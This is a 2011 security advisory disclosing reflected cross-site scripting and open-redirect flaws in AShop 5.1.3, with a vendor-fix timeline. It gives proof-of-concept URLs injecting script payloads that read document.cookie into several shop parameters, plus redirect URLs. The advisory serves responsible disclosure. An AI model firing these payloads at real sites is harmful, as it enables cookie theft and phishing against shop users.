Advisory:    Multiple security vulnerabilities in AShop 5.1.3
Advisory ID:    INFOSERVE-ADV2011-02
Author:      Stefan Schurtz
Contact:      security@infoserve.de
Affected Software:  Successfully tested on AShop513
Vendor URL:    http://www.ashopsoftware.com/
Vendor Status:     fixed in Version 5.1.4

==========================
Vulnerability Description:
==========================

AShop is prone to multiple security vulnerabilities. 

==================
PoC-Exploit
==================

Cross-Site-Scripting

IE8

http://<target>/ashop/?'"<script>alert(document.cookie)</script>
http://<target>/ashop/index.php?'"<script>alert(document.cookie)</script>
http://<target>/ashop/picture.php?picture="
stYle=x:expre/**/ssion(alert(document.cookie)) ns="
http://<target>/ashop/index.php?language='"<script>alert(document.cookie)</s
cript>

FF 7.1

http://<target>/ashop/index.php?searchstring=1&showresult=true&exp='"</scrip
t><script>alert(666);</script>&resultpage=&categories=off&msg=&search=index.
php&shop=1
http://<target>/ashop/catalogue.php?cat=3&exp=3&shop=3&resultpage='"</script
><script>alert(document.cookie)</script>&msg=
http://<target>/ashop/catalogue.php?cat=3&exp=3&shop=3&resultpage=1&msg='"</
script><script>alert(document.cookie)</script>
http://<target>/ashop/basket.php?cat=0&sid='"</script><script>alert(document
.cookie)</script>&shop=1&payoption=3

Open Redirection

http://<target>/ashop/language.php?language=sv&redirect=http://www.google.co
m
http://<target>/ashop/currency.php?currency=aud&redirect=http://www.google.c
om
http://<target>/ashop/currency.php?redirect=http://www.google.com

=========
Solution:
=========

Upgrade to the latest Version 5.1.4

====================
Disclosure Timeline:
====================

04-Nov-2011 - informed vendor by contact form
08-Nov-2011 - second contact attempt
09-Nov-2011 - vendor fix
 
========
Credits:
========

Vulnerabilities found and advisory written by the INFOSERVE Security Team

===========
References:
===========

http://www.ashopsoftware.com/
http://sourceforge.net/projects/ashop/files/

Best regards,
Stefan Schurtz | SECURE INFRASTRUCTURE

INFOSERVE GmbH | Am Felsbrunnen 15 | D-66119 Saarbrücken
Fon +49 (0)681 88008-52 | Fax +49 (0)681 88008-33 |
s.schurtz@infoserve.de | www.infoserve.de

Handelsregister: Amtsgericht Saarbrücken, HRB 11001 | Erfüllungsort:
Saarbrücken
Geschäftsführer: Dr. Stefan Leinenbach | Ust-IdNr.: DE168970599